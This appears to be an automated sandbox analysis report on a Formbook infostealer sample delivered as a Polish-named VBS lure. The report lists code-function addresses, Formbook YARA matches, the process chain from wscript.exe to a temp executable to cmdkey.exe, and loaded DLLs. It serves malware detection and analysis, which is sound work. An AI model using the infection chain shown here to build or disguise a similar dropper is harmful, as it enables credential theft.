Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E075C6	3_2_32E075C6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0F5C9	3_2_32E0F5C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1A526	3_2_32E1A526
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0FA89	3_2_32E0FA89
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6FAA0	3_2_32D6FAA0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0EA5B	3_2_32E0EA5B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0CA13	3_2_32E0CA13
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC4BC0	3_2_32DC4BC0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50B10	3_2_32D50B10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0FB2E	3_2_32E0FB2E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E078F3	3_2_32E078F3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D528C0	3_2_32D528C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D66882	3_2_32D66882
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC98B2	3_2_32DC98B2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0F872	3_2_32E0F872
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D59870	3_2_32D59870
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B870	3_2_32D6B870
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D36868	3_2_32D36868
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D53800	3_2_32D53800
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DF0835	3_2_32DF0835
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0E9A6	3_2_32E0E9A6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4E9A0	3_2_32D4E9A0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E09ED2	3_2_32E09ED2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D42EE8	3_2_32D42EE8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E00EAD	3_2_32E00EAD
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D51EB2	3_2_32D51EB2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D70E50	3_2_32D70E50
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DF0E6D	3_2_32DF0E6D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E01FC6	3_2_32E01FC6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D56FE0	3_2_32D56FE0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0EFBF	3_2_32E0EFBF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0FF63	3_2_32E0FF63
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5CF00	3_2_32D5CF00
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D68CDF	3_2_32D68CDF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1ACEB	3_2_32E1ACEB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6FCE0	3_2_32D6FCE0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DE9C98	3_2_32DE9C98
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0EC60	3_2_32E0EC60
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E06C69	3_2_32E06C69
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFEC4C	3_2_32DFEC4C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D53C60	3_2_32D53C60
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D40C12	3_2_32D40C12
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5AC20	3_2_32D5AC20
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D59DD0	3_2_32D59DD0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEFDF4	3_2_32DEFDF4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62DB0	3_2_32D62DB0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E07D4C	3_2_32E07D4C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50D69	3_2_32D50D69
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0FD27	3_2_32E0FD27
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4AD00	3_2_32D4AD00
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3E3D5	3_2_32A3E3D5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3E88C	3_2_32A3E88C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3E4F3	3_2_32A3E4F3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32A3D8F8	3_2_32A3D8F8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03841380	5_2_03841380
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0385E310	5_2_0385E310
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390F330	5_2_0390F330
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0383D2EC	5_2_0383D2EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390124C	5_2_0390124C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038551C0	5_2_038551C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0386B1E0	5_2_0386B1E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0383F113	5_2_0383F113
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0391010E	5_2_0391010E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038ED130	5_2_038ED130
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0389717A	5_2_0389717A
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038400A0	5_2_038400A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0385B0D0	5_2_0385B0D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_039070F1	5_2_039070F1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038FE076	5_2_038FE076
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03906757	5_2_03906757
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03852760	5_2_03852760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0385A760	5_2_0385A760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03850680	5_2_03850680
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390A6C0	5_2_0390A6C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038C36EC	5_2_038C36EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0384C6E0	5_2_0384C6E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390F6F6	5_2_0390F6F6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0386C600	5_2_0386C600
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038ED62C	5_2_038ED62C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038FD646	5_2_038FD646
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03874670	5_2_03874670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_039075C6	5_2_039075C6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390F5C9	5_2_0390F5C9
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0391A526	5_2_0391A526
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03850445	5_2_03850445
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038C4BC0	5_2_038C4BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03850B10	5_2_03850B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390FB2E	5_2_0390FB2E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390FA89	5_2_0390FA89
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0386FAA0	5_2_0386FAA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390CA13	5_2_0390CA13
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390EA5B	5_2_0390EA5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0384E9A0	5_2_0384E9A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390E9A6	5_2_0390E9A6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03866882	5_2_03866882
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038C98B2	5_2_038C98B2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038528C0	5_2_038528C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_039018DA	5_2_039018DA
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_039078F3	5_2_039078F3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03853800	5_2_03853800
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038F0835	5_2_038F0835
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390F872	5_2_0390F872
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03836868	5_2_03836868
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03859870	5_2_03859870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0386B870	5_2_0386B870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390EFBF	5_2_0390EFBF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03901FC6	5_2_03901FC6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03856FE0	5_2_03856FE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0385CF00	5_2_0385CF00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390FF63	5_2_0390FF63
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03851EB2	5_2_03851EB2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03900EAD	5_2_03900EAD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03909ED2	5_2_03909ED2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03842EE8	5_2_03842EE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03870E50	5_2_03870E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038F0E6D	5_2_038F0E6D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03862DB0	5_2_03862DB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03859DD0	5_2_03859DD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038EFDF4	5_2_038EFDF4
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0384AD00	5_2_0384AD00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390FD27	5_2_0390FD27
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03907D4C	5_2_03907D4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03850D69	5_2_03850D69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038E9C98	5_2_038E9C98
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03868CDF	5_2_03868CDF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0386FCE0	5_2_0386FCE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0391ACEB	5_2_0391ACEB
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03840C12	5_2_03840C12
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0385AC20	5_2_0385AC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038FEC4C	5_2_038FEC4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03853C60	5_2_03853C60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0390EC60	5_2_0390EC60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03906C69	5_2_03906C69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371F0AD	5_2_0371F0AD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371E3D5	5_2_0371E3D5
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371D8F8	5_2_0371D8F8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371E88C	5_2_0371E88C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371E4F3	5_2_0371E4F3

Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 03897BE4 appears 88 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 038CEF10 appears 102 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0383B910 appears 266 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 038BE692 appears 84 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 03885050 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: String function: 32D85050 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: String function: 32DCEF10 appears 99 times
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: String function: 32D3B910 appears 265 times
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: String function: 32DBE692 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: String function: 32D97BE4 appears 84 times

Source: Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Initial sample: Strings found which are bigger than 50

Source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: wscript.exe, 00000000.00000003.19732112682.000002156FD5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19733444126.000002156FDAB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19745616939.000002156FDAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19732614950.000002156FD6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19733082746.000002156FD81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *...GjhADa0...sLn1;;;Op5
Source: wscript.exe, 00000000.00000003.19724635083.000002156FF32000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19702139822.000002157046A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19726805382.000002156FF48000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19702730929.0000021570487000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19726031346.000002156FF47000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19697552235.000002157042D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19720152791.000002156FE96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19721127089.000002156FEB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19727190383.000002156FF4F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19723537096.000002156FEE6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19722569290.000002156FED6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <Da0...sLn1;;;O))in2+GzOm+vhiDP
Source: wscript.exe, 00000000.00000003.19743881979.0000021570466000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19743308554.0000021570465000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19734485655.0000021570423000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19734829954.0000021570435000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19738699805.0000021570460000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.19735744514.0000021570454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *...GjhADa0...sLn1;;;OmG

Source: classification engine

Classification label: mal100.troj.evad.winVBS@7/11@1/1

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004036D7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,		2_2_004036D7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004036D7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,		3_2_004036D7

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_00404060 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,EnableWindow,

2_2_00404060

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_0040234F CoCreateInstance,

2_2_0040234F

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: winnsi.dll	Jump to behavior
